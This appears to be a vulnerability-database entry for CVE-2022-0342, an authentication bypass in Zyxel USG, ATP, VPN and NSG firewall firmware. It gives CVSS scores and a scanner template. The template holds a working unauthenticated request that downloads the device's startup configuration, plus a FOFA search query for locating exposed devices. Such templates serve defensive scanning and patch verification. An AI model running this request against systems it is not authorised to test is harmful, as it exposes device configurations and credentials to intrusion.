9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.08 Low
EPSS
Percentile
94.2%
An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
id: CVE-2022-0342
info:
name: Zyxel - Authentication Bypass
author: SleepingBag945,Powerexploit
severity: critical
description: |
An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
reference:
- https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-0342
- https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
- https://github.com/f1tao/awesome-iot-security-resource
- https://github.com/murchie85/twitterCyberMonitor
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0342
cwe-id: CWE-287
epss-score: 0.08015
epss-percentile: 0.94132
cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zyxel
product: usg40_firmware
fofa-query: body="/2FA-access.cgi" && body="zyxel zyxel_style1"
tags: cve2022,cve,zyxel,auth-bypass,router
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"
matchers-condition: and
matchers:
- type: word
words:
- "interface-name"
- "saved at"
condition: and
- type: word
part: header
words:
- "text/zyxel"
- "attachment; filename="
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100fca2bfe6e495221d0e92c9f3f9df9e355cf1717378ce9d2fa494fbad9d699d33022100aacbe6b4cddf4c9e0d92933a671f26673d6652bbf62dbb2104f716e89dbc46c7:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.08 Low
EPSS
Percentile
94.2%